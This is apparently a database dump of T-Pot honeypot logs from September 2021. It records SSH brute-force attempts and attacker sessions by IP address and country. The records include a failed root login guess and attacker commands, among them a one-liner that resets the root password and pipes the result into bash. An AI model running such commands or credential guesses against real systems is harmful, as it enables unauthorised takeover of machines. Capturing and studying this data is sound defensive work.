34335	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:15.20114+03	2021-09-20 15:15:01.767145+03	{"_id": "CwYUA3wBvYTbRNuEAlUf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:15.201140Z", "@timestamp": "2021-09-20T12:00:15.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34336	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:15.744209+03	2021-09-20 15:15:01.768147+03	{"_id": "DAYUA3wBvYTbRNuEBlUI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "81.70.175.230", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5436933040618896, "duplicate": true, "timestamp": "2021-09-20T12:00:15.744209Z", "@timestamp": "2021-09-20T12:00:15.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34337	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:17.303827+03	2021-09-20 15:15:01.769145+03	{"_id": "EwYUA3wBvYTbRNuEDVXa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:17.303827Z", "@timestamp": "2021-09-20T12:00:17.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34338	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:27.961208+03	2021-09-20 15:15:01.770144+03	{"_id": "XQYUA3wBvYTbRNuENFXw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:27.961208Z", "@timestamp": "2021-09-20T12:00:27.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34339	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:27.961979+03	2021-09-20 15:15:01.771145+03	{"_id": "YAYUA3wBvYTbRNuENFXw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:27.961979Z", "@timestamp": "2021-09-20T12:00:27.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	HK
34340	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:27.959845+03	2021-09-20 15:15:01.772144+03	{"_id": "XwYUA3wBvYTbRNuENFXw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:27.959845Z", "@timestamp": "2021-09-20T12:00:27.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34341	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:27.960393+03	2021-09-20 15:15:01.774145+03	{"_id": "YQYUA3wBvYTbRNuENFXw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "echo -e \\"1\\\\n5Wt1mIKqd7vb\\\\n5Wt1mIKqd7vb\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"1\\\\n5Wt1mIKqd7vb\\\\n5Wt1mIKqd7vb\\"|passwd|bash", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:27.960393Z", "@timestamp": "2021-09-20T12:00:27.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34342	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:28.390508+03	2021-09-20 15:15:01.775145+03	{"_id": "ZQYUA3wBvYTbRNuEOFXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "8cae91ed4527ab774deaa8a7afd0b908f217804ea4875f5020950160feea3455", "src_ip": "150.109.115.128", "ttylog": "log/tty/8cae91ed4527ab774deaa8a7afd0b908f217804ea4875f5020950160feea3455", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/8cae91ed4527ab774deaa8a7afd0b908f217804ea4875f5020950160feea3455 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.43079376220703125, "duplicate": false, "timestamp": "2021-09-20T12:00:28.390508Z", "@timestamp": "2021-09-20T12:00:28.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34343	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:29.147583+03	2021-09-20 15:15:01.776145+03	{"_id": "aAYUA3wBvYTbRNuEOFXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "021a6772c9f303bab874a7f440c85a7f190d4228fb55bf1bece3b727e55a100a", "src_ip": "150.109.115.128", "ttylog": "log/tty/021a6772c9f303bab874a7f440c85a7f190d4228fb55bf1bece3b727e55a100a", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/021a6772c9f303bab874a7f440c85a7f190d4228fb55bf1bece3b727e55a100a after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.42971229553222656, "duplicate": false, "timestamp": "2021-09-20T12:00:29.147583Z", "@timestamp": "2021-09-20T12:00:29.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34345	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:29.865675+03	2021-09-20 15:15:01.778145+03	{"_id": "bAYUA3wBvYTbRNuEPFXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "150.109.115.128", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.42388105392456055, "duplicate": true, "timestamp": "2021-09-20T12:00:29.865675Z", "@timestamp": "2021-09-20T12:00:29.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34346	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:29.441878+03	2021-09-20 15:15:01.779145+03	{"_id": "cAYUA3wBvYTbRNuEPFXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:29.441878Z", "@timestamp": "2021-09-20T12:00:29.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34347	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:29.881907+03	2021-09-20 15:15:01.780144+03	{"_id": "bQYUA3wBvYTbRNuEPFXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "81.70.175.230", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5417022705078125, "duplicate": true, "timestamp": "2021-09-20T12:00:29.881907Z", "@timestamp": "2021-09-20T12:00:29.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34348	91.200.124.7	109.199.241.180	Suricata	2021-09-20 15:00:30.489252+03	2021-09-20 15:15:01.782145+03	{"_id": "cwYUA3wBvYTbRNuEPVXn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 785710443281209, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56902, "dest_port": 22, "timestamp": "2021-09-20T12:00:30.489252Z", "@timestamp": "2021-09-20T12:00:30.489Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	UA
34349	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:00:30.452847+03	2021-09-20 15:15:01.783145+03	{"_id": "dAYUA3wBvYTbRNuEPlXu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56902, "timestamp": "2021-09-20T12:00:30.452847", "@timestamp": "2021-09-20T12:00:30.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34350	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:00:30.448029+03	2021-09-20 15:15:01.784146+03	{"_id": "gQYUA3wBvYTbRNuEQFWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:56902 (192.168.176.2:22) [session: 6ff897171b56]", "session": "6ff897171b56", "@version": "1", "protocol": "ssh", "src_port": 56902, "dest_port": 22, "timestamp": "2021-09-20T12:00:30.448029Z", "@timestamp": "2021-09-20T12:00:30.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	UA
34351	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:00:30.490092+03	2021-09-20 15:15:01.785145+03	{"_id": "fAYUA3wBvYTbRNuEQFWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6ff897171b56", "@version": "1", "timestamp": "2021-09-20T12:00:30.490092Z", "@timestamp": "2021-09-20T12:00:30.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	UA
34352	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:30.624871+03	2021-09-20 15:15:01.786146+03	{"_id": "hAYUA3wBvYTbRNuEQFWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 37 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 37.214096784591675, "timestamp": "2021-09-20T12:00:30.624871Z", "@timestamp": "2021-09-20T12:00:30.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34353	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:00:30.450743+03	2021-09-20 15:15:01.787144+03	{"_id": "fQYUA3wBvYTbRNuEQFWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6ff897171b56", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:00:30.450743Z", "@timestamp": "2021-09-20T12:00:30.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	UA
34354	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:30.653976+03	2021-09-20 15:15:01.789145+03	{"_id": "fwYUA3wBvYTbRNuEQFWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "150.109.115.128", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.428131103515625, "duplicate": true, "timestamp": "2021-09-20T12:00:30.653976Z", "@timestamp": "2021-09-20T12:00:30.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34355	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:00:30.760113+03	2021-09-20 15:15:01.790145+03	{"_id": "gAYUA3wBvYTbRNuEQFWs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [root/welc0me] failed", "session": "6ff897171b56", "@version": "1", "password": "welc0me", "username": "root", "timestamp": "2021-09-20T12:00:30.760113Z", "@timestamp": "2021-09-20T12:00:30.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	UA
34356	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:00:31.80789+03	2021-09-20 15:15:01.791145+03	{"_id": "jwYUA3wBvYTbRNuERFWV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "6ff897171b56", "@version": "1", "duration": 1.3573980331420898, "timestamp": "2021-09-20T12:00:31.807890Z", "@timestamp": "2021-09-20T12:00:31.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	UA
